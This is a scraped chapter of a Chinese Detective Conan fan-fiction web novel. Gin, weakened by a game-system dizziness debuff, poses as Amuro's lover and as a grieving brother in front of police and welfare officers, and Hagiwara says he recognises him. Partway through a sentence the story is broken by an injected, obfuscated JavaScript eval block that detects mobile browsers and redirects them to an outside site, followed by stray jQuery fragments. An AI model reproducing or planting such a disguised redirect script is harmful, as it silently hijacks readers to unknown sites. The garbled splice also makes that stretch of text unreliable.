默认冷灰
24号文字
方正启体

14. debuff-3-眩晕感

作者:鎏金桃木本书字数:K更新时间:
    脱掉黑色外套之后,内搭的是一件柔软舒适的白衬衫,穿它的人个子高且清瘦挺拔,于是显得这件衬衫版型挺阔优越。丝绸的布料与身体之间尚有富裕,但又不失服帖地修饰出他的宽肩窄腰,隐约透着肤色,掩盖着布料下年轻诱人的躯体。


    领口解开几个扣子,衣领有些歪斜,略微凌乱地露出一截锁骨,几缕银发落在肩伤,与皮肤摩擦,白的刺眼。


    衬衫布料自然垂下,直到腰部忽然被腰带掐出凹陷,再往下延出长而直的双腿。


    琴酒抽回自己的手扶在沙发上,脸色苍白无血色,眼神失焦,这让他身上看上去多了点说不清道不明的氛围。明明气场是冷的,但就是莫名......靡乱?


    安室透有些不确定地想着,情不自禁地挪动脚步试图挡住身后几人的视线。


    琴酒缓了缓,恍惚地对了好久才把目光集中到安室透脸上,不轻不重地瞪了他一眼,颇有些阴沟翻船的气闷。


    掩护安室透不就是相当于保护了斋藤佳美吗,不是对故事有巨大推动作用吗?既然做出这个选择,为什么会摇出debuff?


    小V解释道:【当您做出错误选择或者超出故事限制的选择时,会随机为您点播debuff。斋藤佳美的存活是突破故事发展的意外,因此所有有关保护斋藤佳美的选择都将成为“超出故事限制的选择”。】


    因为她本身就是不合理的存在,因此不论她未来会对故事做出怎样的影响,她的本质上都是一个错误的存在。


    360小时的眩晕debuff一阵一阵地攻击他的大脑和身体,令琴酒眼前总是时不时出现重影,世界都是像水里的油渍一样粘腻地旋转、变形,猫身的晕海症仿佛再次出现在身上。


    琴酒皱了下眉,快速掠过安室透的脸,绕过他坐到沙发上。


    银发青年脸色还有些虚弱,但却十分平静,他身上带着上位者的气势,身体舒展地靠在沙发上,随手倒了给对面的人倒上茶水,呼吸之间便悄无声息地掌握了谈话的主动权。


    “需要我做什么?”


    三位机关人员都有些怔愣,下意识举起茶杯,道了声谢。


    琴酒注意到对面有道特别的、灼热而困惑的目光,来自斜对面的半长发警察。


    他平静地喝了口水,掩去眼底的冷漠,抬头看向还傻站在旁边的安室透,嫌弃地蹙眉:“站着干什么?”


    其余四人才猛地惊醒,安室透心情复杂地坐回沙发上,谈话回归正题。


    小林女士清了清嗓子,谨慎地问:“请问一下,先生您该如何称呼?”


    琴酒:“黑泽。”


    小林:“好,黑泽先生,您看起来很年轻,今年几岁呢?”


    琴酒:“24。”


    小林:“您是做什么工作的呢?”


    琴酒:“普通上班族。”


    小林一一记录,又问:“您跟安室先生是什么关系呢?”


    琴酒一顿,面无表情地看了眼安室透,后者无辜地对他眨眨眼,但在眩晕的视线里,无数双重影的灰紫色眼睛眨来眨去,简直是浓郁的精神污染——阴沟翻船的不爽又笼上心头。


    都怪这无能的波本,成事不足败事有余,跑个路还能被警察抓包。


    “恋人。”琴酒不爽地说。


    他在房间里听到了波本在外面大放厥词。


    安室透心底松了口气,微笑着对对面几人点了点头,莫名有股不明的炫耀意味。


    全然不知这副样子落在别人眼里就成了挑衅,安室透有了琴酒的配合后就放松了不少,手臂也有意地搭在琴酒背后的沙发上。


    一种嚣张宣示主权的意味。


    安室透发觉到一股幽幽的目光。


    他抬眼望去,看到那位紫眸青年面色不明地盯着他的手臂,脸上笑容消减,眼里的诡异情绪却忽然让安室透感到背后发凉。


    安室透:?


    他惊疑地看过去,却见年轻警官已经恢复了常色,友好地对他笑了笑。


    安室透:“......”


    一点也不友好的样子。


    谈话进入半程,小林女士温柔地问道:“斋藤佳美是你们收养的孩子吗?”


    并不是,她只是波本的业障,跟他没有任何关系。


    空气沉默片刻,琴酒点头:“准备收养,正在办手续。”


    他看向安室透,后者立马点头,“已经进入确认收养资格的阶段了。”


    “两位男性收养的情况并不多见,相关政策可能并不成熟。”小林女士委婉地说,但通过简单的对话,她对那位银发青年的印象很好,于是热情地道:“如果你们遇到什么困难可以找我。”


    说完,她提醒旁边脸色冷厉的警察:“高桥警官,你还有什么事要说吗?”


    高桥警官颔首,锋利的眼神看向安室透:“我今天主要是来问一下,安室先生爆炸的那天为什么会出现在那里。”


    安室透心道果然。


    但这个问题确实很好回答,毕竟安室透在那场爆炸里只发挥了一个引路的作用,大头在莱伊那边,就算安室透如实交代,警察也不可能发现问题。


    于是他将当时的事情悉数打乱,混乱而又条理地拼凑出整个过程,唯一改变的,只是将“斋藤佳美的哥哥”这个身份改成了“父亲”。


    高桥木着脸听他讲完,眉头皱的能夹死一只苍蝇,但视线在笔录上停了很久,也只是点点头。


    这是没问题了。


    高桥合起笔记本,却看向了旁边安静的银发青年,突然问:“斋藤佳美是斋藤泉子的亲生女儿,那你们跟死去的斋藤泉子是什么关系?”


    安室透笑容小小的僵硬了一下。


    琴酒与他对视,平淡道:“她是我妹妹。”


    高桥眯起眼,满是质疑:“斋藤泉子的亲属栏里可没有一个哥哥。”


    琴酒:“这很正常,毕竟她走丢十多年,再被找回时跟家里的关系就没那么密切了。后来她迁出户口,跟家里断绝往来,只跟我有些联系。”


    见高桥准备打破砂锅问到底,琴酒丢出一张照片和一条宝石项链,垂下眼帘不再说话。


    高桥手速比谁都快,一把抓起照片。


    安室透眼睛再尖也只看到了一高一矮两个人影,却没看清具体面貌。


    他只觉得有点奇怪:琴酒未卜先知吗?准备这么齐全,连照片和证物都有了。


    对面的高桥看看照片,又看看琴酒,再翻开笔记本看一眼死者照片,不知道这样来回巡视了多少次,他眼中的警惕终于散去不少。


    脾气很臭的警察先生有些不自在地把照片放回桌子上,尴尬道:“抱歉。”


    于是另外三人也终于趁此功夫看清了那张照片上的人。


    两个年纪很小的孩子,一高一矮,高一点的是银色齐肩短发,表情有些不开心的男孩,矮一点的是笑容灿烂的卷发女孩。


    两个孩子穿着差不多款式的衣服,肩并肩站在台阶上,心情各异地留下了这张珍贵的照片。


    明眼人都能看出这上面的人是谁,毕竟他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013227|194154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们模样没怎么变,头发特征又太明显。


    有了照片,那串宝石项链即便意义再深也不是那么重要了。


    妹妹死了,哥哥和他的恋人代为收养,这也是很正常的事情。


    小林女士心里惋惜地叹气,想要安慰,却觉得有些唐突,最后只能干巴巴地说句“节哀”。


    安室透也十分恰到好处地担心地看向“爱人”——琴酒,在对面三人看不见的地方,眼里却满是审视和疑问。


    琴酒淡淡地瞥他一眼,半点解释的意思都没有。


    但安室透就是敏锐地察觉了他的嫌弃。


    “......”


    所以说这张来路不明的照片根本就是琴酒这个变态提前捏造好的“证据”吧!


    高桥警官觉得自己有些搞砸了,于是剩下的时间都像一个锯嘴葫芦,一声不吭。


    小林女士饶是长袖善舞,在同伴对一个刚失去妹妹的可怜人咄咄逼人之后,此刻也有些坐如针毡了。


    她干笑着看向紫眸青年:“萩原警官,你还有什么事要说吗?”


    她是寄希望于萩原研二说句“没有”,然后他们就可以顺理成章结束谈话离开的,毕竟萩原研二一个排爆警察,今天被抓壮丁来这里本来就只起一个吉祥物的作用,想来也不可能问出什么有价值的问题。


    但是小林女士没想到这位吉祥物一开口就搞了个大的。


    半长发青年目光紧紧地盯着银发青年,因太长时间沉默而声音有些沙哑,他问:“黑泽先生,我们是不是在哪里见过?”


    热爱中华文学作品的小林女士不合时宜地想起一句名台词:[这个妹妹我曾见过的。]


    顿时,所有人都猛地提起神来。


    高桥警官一脸震惊地看向萩原研二:好小子,当着人家恋人的面挖墙脚?


    安室透感到十分不可思议,他看着萩原研二,满眼写着:没想到你是这样的人!


    琴酒缓缓看向萩原研二,失焦的视线困难对焦,抓住迷乱中的一双暗含希冀的紫色眼睛,玩味地挑了下眉。


    小林女士有些绝望地闭上了眼。


    总之,这天到了最后,是高桥先生和小林女士此生都不愿再记起的尴尬。


    两位前辈压着若无所觉的青年跟这对年轻情侣告别,汽车仓皇弹出数百米后,才有种劫后余生的感觉。


    “臭小子,你也不看看那是该搭讪的场合吗!”高桥忍不住教训,“就算是,也不能搭讪有、有夫之夫啊!”


    “算了算了,萩原也不是故意的。”小林女士无奈地安抚这位火药桶,“你也知道,萩原绝对不是什么不正经的人,他这么说,肯定是有原因的。”


    两个大男人,一个开车急躁,像是赶着要去投胎,一个现在心不在焉,生怕一个走神就带着一车人去投胎,唯一靠得住的小林女士驾驶着汽车,还要稳定爆炸桶的情绪,无比心累。


    小林女士理智地推测:“黑泽先生是不是之前的案件参与人?”


    高桥也冷静下来,开始思考自己有没有在哪里见过黑泽的脸。


    但是,没有。


    想破脑袋也没有。


    跟案件有关,又被爆破部的人眼熟——高桥凝重地看向萩原研二,“难不成他是什么炸......”


    “不是。”


    高桥的话被截断了。


    来时还有说有笑的青年现在精神萎靡,像霜打的茄子,恹恹道:“他不是案件相关人。”


    但我真的跟他见过。


    不止一次。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)